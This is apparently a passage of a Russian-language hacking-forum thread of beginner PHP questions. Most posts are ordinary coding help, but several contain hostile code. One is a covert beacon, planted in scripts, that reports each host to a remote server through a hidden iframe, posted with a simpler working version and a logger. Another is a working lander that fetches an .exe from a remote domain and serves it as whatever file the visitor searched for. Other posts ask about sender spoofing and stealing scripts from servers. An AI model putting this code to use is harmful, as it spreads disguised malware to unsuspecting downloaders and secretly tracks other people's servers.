[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    736
    Likes Received:
    73
    Reputations:
    19
    curl
     
  2. Sladkiy

    Sladkiy New Member

    Joined:
    28 Nov 2012
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Хочу написать функцию типа strlen(), да чё-то рекурсия не поддаётся =\

    PHP:
    function myStrlen($str){
     if(
    $str===true) return 1;
     if(
    is_array($str)) return 0//Здесь бы какую-нибудь ошибку инициализировать типа Warning ...
     
    $str=(string)$str;
     static 
    $cnt=0;
     if (!
    is_null($str{$cnt})) {  //Может здесь неправильное условие?
      
    $cnt++;
      
    myStrlen($str);
      }
     else return 
    $cnt;
    }
    Понятно, что можно и без рекурсии гораздо легче:
    PHP:
    for($cnt=0$str{$cnt}; $cnt++);
    return 
    $cnt;
    Но всё же, почему бесконечная рекурсия получается?
     
  3. sharm

    sharm New Member

    Joined:
    4 Dec 2012
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Спасибо =)


    И еще вопрос, не могу разобраться в чем проблемма.
    При отправле курл запроса на сайт1 - все ок, а на сайт2 - нечего не происходит.

    Этот код нечего не возвращает (вводил и адрес сайта и скрипта(http://site2.ru/script.php) - нечего не обрабатывается, нечего не выводится)
    PHP:
    function test() {
        
    $ch curl_init();
        
    curl_setopt($chCURLOPT_URL"http://site2.ru");
        
    curl_setopt($chCURLOPT_HEADER0);
        
    curl_exec($ch);
        
    curl_close($ch);
    }
    P.S. если обращаюсь к http://site1.ru - выводит главную страницу, к http://site1.ru/script.php - все обрабатывается как надо.

    P.S.2. Если на обоих сайтах в script.php изменить $_POST на $_GET и передать параметры вручную(через браузер) - то все выполняется на обоих сайтах.

    хз в чем причина =(
     
  4. vova1609

    vova1609 New Member

    Joined:
    14 Jun 2012
    Messages:
    24
    Likes Received:
    2
    Reputations:
    -7
    Ребят подскажите тупому.

    Code:
    if (empty($name))
     {
     echo "<b>Не указано имя!<p>";
    Если поле Имя будет пустым, то появится ошибка.

    А как сделать на основе этого , например если я введу вместо имени мат, чтобы появилась ошибка?

    Так?
    Code:
    if (МАТ($name))
     {
     echo "<b>Мат!<p>";
    помогите срочно.
     
  5. daniel777

    daniel777 Member

    Joined:
    8 Jul 2010
    Messages:
    520
    Likes Received:
    90
    Reputations:
    37
    vova1609,
    PHP:
    $mat=array('мат''второй мат''третий мат');

    if(
    in_array($name$mat)){

    echo 
    '<b>Мат!<p>';

    }
     
  6. daniel777

    daniel777 Member

    Joined:
    8 Jul 2010
    Messages:
    520
    Likes Received:
    90
    Reputations:
    37
    Есть вот такой кусок кода:
    PHP:
    if($_COOKIE['ref']){
    if(
    file_exists('pp/'.$_COOKIE['ref'])){
    $ref=$_COOKIE['ref'];
    }else{
    $ref='-';
    }
    }else{
    $ref='-';
    }

    if(
    $_GET['ref']){

    if(
    file_exists('pp/'.$_GET['ref'])){
    $ref=$_GET['ref'];
    setcookie('ref'$_GET['ref']);

    }else{
    $ref='-';
    }
    }else{
    $ref='-';
    }

    echo 
    $ref;
    Как его правильно сократить, "привести в порядок"?
    Мне кажется что повторение такого количества условий, обращений к файлу не есть правильным.
     
    #21346 daniel777, 27 Dec 2012
    Last edited: 27 Dec 2012
  7. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    736
    Likes Received:
    73
    Reputations:
    19
    Вот:
    PHP:
    $ref '-';


    if (
    $ref $_COOKIE['ref']) {
        if(!
    file_exists('pp/'.$ref)){ 
            
    $ref='-';
    } elseif (
    $ref $_GET['ref']) {
      if(
    file_exists('pp/'.$ref))
        
    setcookie('ref'$_GET['ref']);
    }

    echo 
    $ref;
     
    #21347 mironich, 27 Dec 2012
    Last edited: 27 Dec 2012
    1 person likes this.
  8. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    1,990
    Likes Received:
    884
    Reputations:
    198
    PHP:
    <?php
    $ref 
    = (isset($_COOKIE['ref']) && file_exists('pp/'.$_COOKIE['ref']) ? $_COOKIE['ref'] : false;
    if(!
    $ref)
    $ref = (isset($_GET['ref']) && file_exists('pp/'.$_GET['ref']) ? $_GET['ref'] : false;
    if(!
    $_COOKIE['ref'])
    setcookie('ref'$_GET['ref']) else setcookie('ref''-');
    и еще так как вариант, правда не проверял, ну по идее работает.
     
    _________________________
    1 person likes this.
  9. spiderbuber

    spiderbuber New Member

    Joined:
    20 Oct 2010
    Messages:
    63
    Likes Received:
    0
    Reputations:
    0
    Как сделать стучалку с записью в файл?

    Нужна стучалка в php скрипт, чтобы писала в файл на удалённый сервер хост на котором находится.
    Картинка с ошибкой записи в журнал - не подходит..
    Подскажите, может есть готовое решение?

    Нашел и подредактил пример с явой и фреймом:
    PHP:
    <?
    $domain $_SERVER['SERVER_NAME'];
    $directory $_SERVER['SCRIPT_NAME'];
    $url 'http://test.ru/index.php?data='.$domain.$directory;
     
    echo 
    "<div id='mast'></div><script type='text/javascript' language='JavaScript'>
    function send_data(ifr_url){
      var ifr0 = document.createElement('iframe');
        ifr0.src = ifr_url;
        ifr0.style.width = '1px';
        ifr0.style.height = '1px';
        var div_x0 = document.getElementById('mast');
        div_x0.appendChild(ifr0);
    }
    send_data('"
    .$url."');
    </script>"
    ;
    ?>
    Приём:
    PHP:
    <?php 
    $log 
    $_GET['data'];
    $fp fopen("log.txt","a+");
    fwrite($fp,"$log\n"); 
    fclose($fp);
    ?>
    Как сделать проще и универсальнее, чтобы работало на всех хостах? Как сделать, чтоб срабатывала только 1 раз, т.е. чтобы 1 раз писался в лог файл, а не при каждом запуске?
     
  10. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    952
    Likes Received:
    318
    Reputations:
    52
    spiderbuber,
    PHP:
    <?php
    $domain 
    $_SERVER['SERVER_NAME']; 
    $directory $_SERVER['SCRIPT_NAME']; 
    $url "http://test.ru/index.php?data=".$domain.$directory;
    $get file_get_contents($url);
    if (
    $get) {
        echo 
    $get;
    }
    ?>
    PHP:
    <?php 
    $log 
    "log.txt"
    if (
    is_file($log)) { 
        if (
    file_get_contents($log)) { 
            die(
    'Can\'t write to file! File already contains some data.'); 
        }
        else {
            
    file_put_contents($log$_GET['data']);
            die();
        }

    else { 
        
    file_put_contents($log$_GET['data']);
        die();
    }
    ?>
    ?
     
    #21350 Skofield, 4 Jan 2013
    Last edited: 4 Jan 2013
  11. comynicator

    comynicator New Member

    Joined:
    20 Mar 2012
    Messages:
    18
    Likes Received:
    0
    Reputations:
    0
    Подскажите где скачать самоучитель php?желательно в.txt
    Сколько уже качал.Отправте sms на номер и т.д
    Заранее спасибо!
     
  12. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    http://lphp.ru/

    Лучше в .txt сам посохраняй )
     
  13. SpensorSG

    SpensorSG New Member

    Joined:
    5 Dec 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    возможно ли скамуниздить скрипт с сервака?? если да то как
     
  14. chief1973

    chief1973 New Member

    Joined:
    5 Jan 2013
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    В чем разница между отправкой emaila через mail() и через smtp?
     
  15. daniel777

    daniel777 Member

    Joined:
    8 Jul 2010
    Messages:
    520
    Likes Received:
    90
    Reputations:
    37
    Требуется отправить письмо функцией mail()
    PHP:
    mail(
    'test@mail.ru',
    'Тема сообщения',
    'Текст сообщения',
    'From: admin@google.com'
    );
    В таком случае на почте у пользователя будет в поле "От" написан e-mail, как это видно на скриншоте:
    [​IMG]
    (на кодировку не обращайте внимания, исправлю).
    Но вот письмо ниже(спам) написано "Налоговые разницы".

    Как с помощью функции mail() отправить письмо, чтобы вместо адреса выводился нужный мне текст, причем так чтобы осталась возможность подмены отправителя?
     
  16. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    daniel777 http://tools.ietf.org/html/rfc822

    PHP:
     mail(
    'test@mail.ru',
    'Тема сообщения',
    'Текст сообщения',
    'From: blabla <admin@google.com>'
    );  
     
    _________________________
    1 person likes this.
  17. TADIAMOND

    TADIAMOND Member

    Joined:
    19 Feb 2011
    Messages:
    136
    Likes Received:
    34
    Reputations:
    5
    Надо хедеры выставлять, загугли протокол миме!
     
  18. Shelly

    Shelly New Member

    Joined:
    18 Oct 2012
    Messages:
    0
    Likes Received:
    1
    Reputations:
    1
    НАткнулся на такое
    keys.txt содержит тест||test
    как ехе у "коней" забрать)) это же что то типа связки вроде?

    Code:
    <?php
    error_reporting(0);
    
    $filename = './soft.exe';
    if(isset($_GET['q'])){ // q и query это ваши ключи которые передаются с тдс
    	$query=$_GET['q'];
    }
    if(isset($_GET['query'])){
    	$query=$_GET['query'];
    }
    if ((filectime("soft.exe")+1200)<(time()))
    {
    copy('http://xn--4-ttbjd0g.xn--p1ai/pp193.exe','soft.exe'); //Ваш линк на файл
    }
    if (isset($_SERVER['HTTP_USER_AGENT']) and strpos($_SERVER['HTTP_USER_AGENT'],
    'MSIE'))
    Header('Content-Type: application/force-download');
    else
    Header('Content-Type: application/octet-stream');
    
    Header('Accept-Ranges: bytes');
    Header('Content-Length: ' . filesize($filename));
    Header('Content-disposition: attachment; filename="'.translitIt($query).'.exe"');
    
    readfile($filename);
    
    $fref = fopen("keys.txt", "a+");
    $ref = $query.'||'.translitIt($query);
    fwrite($fref, $ref."\n");
    fclose($fref);
    exit();
    function translitIt($str)
    {
    $tr = array("А" => "A", "Б" => "B", "В" => "V", "Г" => "G", "Д" => "D", "Е" =>
    "E", "Ж" => "J", "З" => "Z", "И" => "I", "Й" => "Y", "К" => "K", "Л" => "L", "М" =>
    "M", "Н" => "N", "О" => "O", "П" => "P", "Р" => "R", "С" => "S", "Т" => "T", "У" =>
    "U", "Ф" => "F", "Х" => "H", "Ц" => "TS", "Ч" => "CH", "Ш" => "SH", "Щ" => "SCH",
    "Ъ" => "", "Ы" => "YI", "Ь" => "", "Э" => "E", "Ю" => "YU", "Я" => "YA", "а" =>
    "a", "б" => "b", "в" => "v", "г" => "g", "д" => "d", "е" => "e", "ж" => "j", "з" =>
    "z", "и" => "i", "й" => "y", "к" => "k", "л" => "l", "м" => "m", "н" => "n", "о" =>
    "o", "п" => "p", "р" => "r", "с" => "s", "т" => "t", "у" => "u", "ф" => "f", "х" =>
    "h", "ц" => "ts", "ч" => "ch", "ш" => "sh", "щ" => "sch", "ъ" => "y", "ы" =>
    "yi", "ь" => "", "э" => "e", "ю" => "yu", "я" => "ya", " " => "_");
    $sk = array("Скачать", "скачать", ".zip", ".RAR", ".rar");
    return strtr(str_replace($sk, "", $str), $tr);
    }
    ?>
    
     
    #21358 Shelly, 8 Jan 2013
    Last edited: 8 Jan 2013
  19. daniel777

    daniel777 Member

    Joined:
    8 Jul 2010
    Messages:
    520
    Likes Received:
    90
    Reputations:
    37
    Только после получения доступа к серверу, или использования подходящих уязвимостей.
    Если я правильно понял, то функция mail() отправляет с прямо с сервера, а SMTP это протокол, через который можно отправлять письма с сервера.
    Благодарю за ответ, но всё решилось гораздо проще.
    Скрипт отдаёт на скачивание файл, и записывает переданные ключи в файл keys.txt
    -------
    И вопрос от меня:
    На странице выводиться содержимое массива $_GET.
    Достаточно ли для защиты от XSS перед выводом отфильтровать каждый его элемент функцией strip_tags(), а потом htmlspecialchars()?
     
  20. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    daniel777
    Выводятся не в аттрибуте, не внутри тегов script, style - достаточно htmlspecialchars

    А вообще - http://owasp.com/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

    Убрать пробел в ссылке
     
    _________________________
Loading...
Thread Status:
Not open for further replies.